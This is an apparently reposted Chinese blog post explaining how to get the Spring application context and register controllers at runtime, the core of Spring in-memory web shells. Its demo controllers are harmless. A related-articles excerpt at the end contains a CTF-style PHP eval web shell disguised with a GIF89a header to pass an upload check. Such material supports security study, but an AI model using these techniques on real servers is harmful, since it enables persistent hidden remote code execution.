Spring Controller内存马

news2024/10/5 21:18:44

获取当前上下文运行环境

getCurrentWebApplicationContext

WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

在SpringMVC环境下获取到的是一个XmlWebApplicationContext类型的Root WebApplicationContext:

在Spring MVC环境中,由于使用xml文件默认配置了ContextLoaderListener,所以可以获取到Root Context:<listener><br /> <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class><br /></listener> 

在SpringBoot环境下,默认没有xml文件配置listener,这里获取到的结果会是null。

WebApplicationContextUtils

在Spring环境中可以通过如下代码获取到ApplicationContext(Facade):

ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
// attributes.getRequest()获取到的是RequestFacade
ServletContext servletContext = attributes.getRequest().getServletContext();
// 最后获取到的servletContext是ApplicationContextFacade

这个servletContext的内部有一个Root Context的attribute:

这个Root Context可以通过WebApplicationContextUtils#getWebApplicationContext方法来获取:

WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(servletContext);
// 这里获取到的Root Context是AnnotationConfigServletWebServerApplicationContext

值得说明的是,由于在SpringBoot环境中没有使用xml文件进行配置,所以区别与第一种方式获取的XmlWebApplicationContext,这里的Root Context获取到的是AnnotationConfigServletWebServerApplicationContext。(注解形式配置)

RequestContextUtils

通过ServletRequest类的实例来获取WebApplicationContext:

ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
HttpServletRequest request = attributes.getRequest();
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(request);

这个context是作为attribute放在request对象中的:

所以引申出了第四种方法,直接通过attribute的名字获取。

getAttribute

ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
WebApplicationContext context = (WebApplicationContext) attributes.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

attributes是ServletRequestAttributes的实例,其内部就有一个request对象的引用,通过调用getAttribute方法就可以从其内部的request对象里获取属性(0表示从request对象上获取属性,而不是从session对象上获取):

注意事项

前两种方式获取的到的是Root Context,后两种方式获取到的是Child Context,而Root Context无法获取Child Context中的Bean。

在有些MVC的配置中,开启注解扫描(component-scan)配置在dispatcherServlet-servlet.xml中,导致RequestMappingHandlerMapping的Bean只存在于Child Context中,而使用前两种方式获取到的Root Context是无法拿到对应Bean的,所以推荐使用后两种方式获取上下文环境。

手动注册Controller

Controller注册及查找原理

参考:SpringMVC源码之Controller查找原理 - 卧颜沉默 - 博客园 (cnblogs.com)

Spring2.5 ~ 3.1之间一般使用DefaultAnnotationHandlerMapping映射器。

Spring3.1之后使用RequestMappingHandlerMapping映射器来支持对@Controller和@RequestMapping注解。

认识两个类(具体细节可以去看一眼源码):

  • RequestMappingInfo类:对@RequestMapping注解的封装,里面包含了Http请求头的信息,如url,method等。
  • HandlerMethod类:对Controller处理请求的方法的封装,里面包含了方法所属的bean、方法对应的method,参数等。

Controller注册

在Spring MVC初始化的时候,会进入RequestMappingHandlerMapping#afterPropertiesSet方法:

来到父类的afterPropertiesSet方法,AbstractHandlerMethodMapping#afterPropertiesSet,这个方法会从context中查找出所有的bean然后进入processCandidateBean方法中处理:

org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#processCandidateBean:

可以注意到isHandler方法,它会判断bean是否含有@Controller和@RequestMapping的注解:

之后来到AbstractHandlerMethodMapping#detectHandlerMethods方法,可以结合动调来看:

跟进RequestMappingHandlerMapping#getMappingForMethod方法中先根据method创建RequestMappingInfo实例:

前面提到了这个类是对@RequestMapping注解的封装,跟进createRequestMappingInfo方法中:

再往后来到createRequestMappingInfo方法,它会根据RequestMapping封装的信息来build一个RequestMappingInfo实例然后返回:

处理完根据method寻找handler的逻辑之后,再回到detectHandlerMethods方法,来到了registerHandlerMethod方法来注册handler:

这个方法调用了AbstractHandlerMethodMapping.MappingRegistry#register方法:

至此Controller的完成了注册,下面来看一个http请求过来的时候Controller的查找逻辑。

Controller查找

在处理http请求的时候首先会被DispatcherServelt所处理,在DispatcherServlet#doDispatch方法中会根据当前的request对象的请求路径(lookup path)来匹配相应的handler:

之后经过一系列调用(一直单步跟入就好了)会来到AbstractHandlerMethodMapping#lookupHandlerMethod方法:

Controller的动态注册

registerMapping

最直接的一种方式,使用RequestMappingHandlerMapping#registerMapping来注册,最后还是调用了MappingRegistry#register方法:

@RestController
public class DemoController1 {

    @RequestMapping("/demo")
    public String demo() throws Exception {
        ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
        ServletContext servletContext = attributes.getRequest().getServletContext();
        WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(servletContext);
        // 从IoC容器中获取bean
        RequestMappingHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class);

        // 防止重复注册: RequestMappingHandlerMapping#getHandlerMethods 可以获取所有已注册handler的映射关系
        for (RequestMappingInfo info : handlerMapping.getHandlerMethods().keySet()) {
            if (info.toString().contains("/hello")) {
                return "Already injected";
            }
        }

        // 获取method
        Class<?> clazz = Class.forName("com.example.springboot.controller.MyController");
        Method method = clazz.getDeclaredMethods()[0];
        // 获取mapping (RequestMappingInfo)
        RequestMappingInfo mapping = RequestMappingInfo
                .paths("/hello")
                .customCondition(new RequestMethodsRequestCondition())
                .build();
        // handler就是Controller的一个实例
        Object handler = new MyController();
        handlerMapping.registerMapping(mapping, handler, method);

        return "success";
    }
}

最后的效果与待注册的Controller中方法的注解有关,如果方法添加了@ResponseBody注解,则会直接返回内容:

public class MyController {

    @ResponseBody
    public String hello() {
        return "hello";
    }

}

如果没有@ResponseBody注解,则会向view层解析(thymeleaf等模板引擎),这里是hello.html:

public class MyController {

    public String hello() {
        return "hello";
    }

}

detectHandlerMethods

AbstractHandlerMethodMapping#detectHandlerMethods这个方法在上文中的Controller注册部分提到过:

这里最后会调用registerHandlerMethod方法,之后还是来到了MappingRegistry#register方法:

...
    @RequestMapping("/demo2")
    public String demo2() throws Exception {
        ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
        ServletContext servletContext = attributes.getRequest().getServletContext();
        AnnotationConfigServletWebServerApplicationContext context = (AnnotationConfigServletWebServerApplicationContext) WebApplicationContextUtils.getWebApplicationContext(servletContext);
        // 注册bean
        context.getBeanFactory().registerSingleton("MyController", new MyController());
        RequestMappingHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Method method = AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
        method.setAccessible(true);
        method.invoke(handlerMapping,"MyController");

        return "demo2";
    }
... 

这种方式必须在MyController中添加@RequestMapping注解,否则在detectHandlerMethods中无法获取到RequestMappingInfo对象。

与上面一样,如果有@ResponseBody注解,则会直接返回:

public class MyController {

    @RequestMapping("/hello")
    @ResponseBody
    public String hello() {
        return "hello";
    }

}

没有@ResponseBody注解,则会向view层解析:

public class MyController {

    @RequestMapping("/hello")
    public String hello() {
        return "hello";
    }

}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1045220.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Armv9读取cache内容:Direct access to internal memory

10 访问cache Cortex-A720核心提供一种机制,通过IMPLEMENTATION DEFINED系统寄存器可以读取L1缓存、L2缓存和Translation Lookaside Buffer(TLB)。当缓存数据与系统内存数据之间的一致性异常时,您可以使用此机制来调查任何问题。 只有在EL3中才可以访问内部内存(cache)。…

spring 2.2.9源码构建注意事项

这里第一点是 grable的构建总失败&#xff0c;所以把pom中的这个模块删除&#xff0c;同时我也把这个工程删除了。 还有是pom里加一个插件的标签它的意思大概是忽略一个下载的东西那个也总是导致失败&#xff01; 还就是编译maven编译时的jdk版本和实际运行时的差别不要差别太…

虹科分享 | 为工业机器人解绑,IO-Link wireless无线通讯技术可实现更加轻量灵活的机器人协作

背景 机器人是一种能够半自主或全自主工作的智能机器。中国电子学会组织发布的《中国机器人产业发展报告&#xff08;2022年&#xff09;显示&#xff0c;近些年&#xff0c;我国机器人市场规模持续快速增长&#xff0c;“机器人”应用不断拓展深入&#xff0c;预计五年年均增…

论文学习:RT-DETR

RT-DETR 摘要 DETR取得显著性能&#xff0c;但高成本计算使其无法发挥无NMS的优势&#xff0c;无法实际应用。本文分析了NMS对准确性和速度的负面影响&#xff0c;并建立端到端的速度基准。第一个实时端到端检测器&#xff0c;高效处理多尺度特征&#xff0c;并提出IoU-aware…

大型IT系统的UML类图设计实践与管理

导言&#xff1a; 在现代软件开发中&#xff0c;建立大型IT系统的UML类图是一项至关重要的任务。这些类图扮演了关键角色&#xff0c;帮助开发团队理清系统的结构、功能和关系。然而&#xff0c;随着系统规模的增大&#xff0c;类图的设计和管理变得复杂起来。本文将探讨一些关…

Python——— 异常机制

&#xff08;一&#xff09;异常 工作中&#xff0c;程序遇到的情况不可能完美。比如&#xff1a;程序要打开某个文件&#xff0c;这个文件可能不存在或者文件格式不对&#xff1b;程序在运行着&#xff0c;但是内存或硬盘可能满了等等。 软件程序在运行过程中&#xff0c;非常…

8、SpringBoot_多环境开发

二、多环境开发 1.概述 概述&#xff1a;开发环境、测试环境、生产环境 分类 开发环境 spring:datasource:druid:url: jdbc:mysql://localhost:3306/springboot_ssmusername: rootpassword: 123456driver-class-name: com.mysql.cj.jdbc.Driver测试环境 spring:datasource:dr…

[WUSTCTF2020]CV Maker 文件头检查

这道很简单 首先注册登入 很显然是我们文件上传 我们直接随便上传一个看看 报错了我们去看看 这个 exif是什么 就是检查文件头 那我们直接修改文件头上传即可 GIF89a <script language"php">eval($_POST[cmd]); </script> 上传修改php即可

全网最全Python系列教程(非常详细)---字符串讲解(学Python入门必收藏)

&#x1f9e1;&#x1f9e1;&#x1f9e1;这篇是关于Python中字符串的讲解&#xff0c;涉及到以下内容&#xff0c;欢迎点赞和收藏&#xff0c;你点赞和收藏是我更新的动力&#x1f9e1;&#x1f9e1;&#x1f9e1; 本文将从以下几个方面展开对字符串的讲解&#xff1a; 1、字…

如何在Python中实现安全的密码存储与验证

在现代互联网时代&#xff0c;安全性已经成为一个非常重要的问题。在我们的日常生活中&#xff0c;我们会使用许多网站和应用程序&#xff0c;而这些网站和应用程序通常要求我们提供密码来保护我们的个人信息。然而&#xff0c;密码泄露事件时有发生&#xff0c;我们经常听到关…

@ConditionalOnProperty配置属性作为条件

1.ConditionalOnProperty​做什么用的&#xff1f; 主要是根据配置参数&#xff0c;来决定是否需要创建这个bean&#xff0c;这样就给了我们一个根据配置来控制Bean的选择的手段了&#xff0c;不启用只需要更改配置即可。 ​ConditionalOnProperty​源码 package org.springf…

进程管理--CFS调度器(1)

介绍 CFS&#xff08;Completely Fair Scheduler&#xff0c;完全公平调度器)用于Linux系统中普通进程的调度。它给cfs_rq&#xff08;cfs的run queue&#xff09;中的每一个进程设置一个虚拟时钟&#xff0c;vruntime。如果一个进程得以执行&#xff0c;随着时间的增长&#…

Pycharm在进行debug时出现collecting data如何解决?

Pycharm在进行debug时变量界面出现collecting data&#xff0c;问题如下&#xff1a; 解决方法&#xff1a;打开Setting界面&#xff0c;在Python Debugger选项中勾选下图中的Gevent compatible即可。

iOS CocoaPod 打包:SDK开发、Pod组件生成等

参考链接&#xff1a;CocoaPod打包 SDK开发 - 简书 iOS非集成打包&#xff1a;依赖cocoapods的Swift静态库打包、脚本合并真机与模拟器 - 简书 iOS 组件化开发----pod私有库制作及使用_ios组件化开发-CSDN博客 1.生成pod包命令 pod lib create testTools 如果提示&#xf…

img 固定宽高 图像不拉伸 显示图片中间部分

.m-sd-chat-select-avatar-img{width: 100px;height: 125px;object-fit: cover;border-radius: 6px;cursor: pointer;} 使用后&#xff1a; 使用前&#xff1a;

Django 联表查询操作

在日常的开发中&#xff0c;常常需要对多张数据表同时进行数据查询。多表查询需要在数据表之间建立表关系才能够实现。一对多或一对一的表关系是通过外键实现关联的&#xff0c;而多表查询分为正向查询和反向查询。 表模型结构 以歌手表、专辑表、单曲表查询为例子。 歌手与专…

RK3588 VDD_LOGIC电源PCB设计注意事项

RK3588 VDD_LOGIC电源PCB设计 1、VDD_LOGIC的覆铜宽度需满足芯片的电流需求&#xff0c;连接到芯片电源管脚的覆铜足够宽&#xff0c;路径不能被过孔分割太严重&#xff0c;必须计算有效线宽&#xff0c;确认连接到CPU每个电源PIN脚路径都足够。 2、如图1所示&#xff0c;原理…

Scrapy-应对反爬虫机制

参考自https://blog.csdn.net/y472360651/article/details/130002898 记得把BanSpider改成自己的项目名&#xff0c;还有一个细节要改一下&#xff0c;把代码user换成user_agent 禁止Cookie 在Scrapy项目中的settings文件&#xff0c;可以发现文件中有以下代码: COOKIES_ENA…

红黑树-自平衡二叉搜索树

一、简介 红黑树&#xff08;Red-Black Tree&#xff09;是一种自平衡的二叉搜索树&#xff0c;它的节点可以是红色或黑色。这个颜色的设计是为了满足红黑树的五个关键性质&#xff0c;确保树保持平衡和高效地支持插入、删除和搜索操作。 以下是红黑树的五个关键性质&#xf…

【Unity3D日常开发】Unity3D中Quality的设置参考

推荐阅读 CSDN主页GitHub开源地址Unity3D插件分享简书地址我的个人博客 大家好&#xff0c;我是佛系工程师☆恬静的小魔龙☆&#xff0c;不定时更新Unity开发技巧&#xff0c;觉得有用记得一键三连哦。 一、前言 这篇文章就来讲一下Quality的设置&#xff08;Unity版本&#…